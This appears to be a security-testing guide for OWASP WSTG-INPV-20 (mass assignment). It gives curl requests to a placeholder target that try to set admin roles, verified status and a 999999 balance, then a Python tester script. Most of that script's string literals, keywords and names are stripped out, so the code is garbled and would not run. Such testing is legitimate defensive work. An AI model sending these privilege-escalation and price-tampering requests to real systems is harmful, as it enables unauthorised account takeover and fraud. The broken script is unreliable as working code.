| name | wstg-inpv-20 |
| description | Testing for Mass Assignment |
| category | input-validation |
| owasp_id | WSTG-INPV-20 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
wstg-inpv-20
Test ID
WSTG-INPV-20
Test Name
Testing for Mass Assignment
High-Level Description
Mass Assignment (also known as Auto-binding or Object Injection) occurs when an application automatically binds user-provided data to internal objects. Attackers can modify object properties they shouldn't have access to, such as changing user roles, prices, or account status by adding extra parameters to requests.
What to Check
How to Test
Step 1: Identify Mass Assignment Points
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for Mass Assignment..."
curl -s -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "testuser",
"email": "test@test.com",
"password": "TestPass123!",
"role": "admin",
"isAdmin": true,
"is_admin": true
}'
curl -s -X PUT "$TARGET/api/user/profile" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{
"name": "Test User",
"role": "admin",
"verified": true,
"balance": 999999
}'
Step 2: Mass Assignment Tester
"""
Mass Assignment Vulnerability Tester
"""
import requests
json
copy
:
():
.url = url
.findings = []
.session = requests.Session()
DANGEROUS_PARAMS = {
: [
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , ]),
(, [, , ]),
(, [, ]),
(, [[], []]),
],
: [
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, []),
(, []),
(, [, , ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, [, ]),
(, []),
(, []),
(, []),
],
: [
(, []),
(, []),
(, [, ]),
(, []),
(, []),
],
}
():
()
base_data :
base_data = {
: ,
: ,
:
}
register_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.post(
register_url,
json=test_data
)
response.status_code [, ]:
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
base_data :
base_data = {: }
headers = {}
auth_token:
headers[] =
update_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.put(
update_url,
json=test_data,
headers=headers
)
response.status_code == :
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
order_data = {
: [{: , : }],
:
}
headers = {}
auth_token:
headers[] =
order_url =
financial_params = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
param_name, value financial_params:
test_data = copy.deepcopy(order_data)
test_data[param_name] = value
:
response = .session.post(
order_url,
json=test_data,
headers=headers
)
response.status_code [, ]:
resp_data = response.json() response.text {}
(value) (resp_data.get(param_name, )):
()
.findings.append({
: ,
: ,
: param_name,
: value,
:
})
Exception e:
():
()
endpoints :
endpoints = [
(, ),
(, ),
(, ),
(, ),
(, ),
]
headers = {: }
auth_token:
headers[] =
test_params = [, , , , , ]
method, endpoint endpoints:
url =
param test_params:
test_data = {param: }
:
method == :
response = .session.post(url, json=test_data, headers=headers)
:
response = .session.put(url, json=test_data, headers=headers)
response.status_code [, ]:
()
Exception e:
():
( + *)
()
(*)
.findings:
()
()
:
critical = [f f .findings f[] == ]
high = [f f .findings f[] == ]
medium = [f f .findings f[] == ]
critical:
()
f critical:
()
high:
()
f high:
()
medium:
()
f medium:
()
():
.test_registration()
.test_profile_update(auth_token)
.test_order_manipulation(auth_token)
.test_api_endpoints(auth_token=auth_token)
.generate_report()
tester = MassAssignmentTester()
tester.run_tests(auth_token=)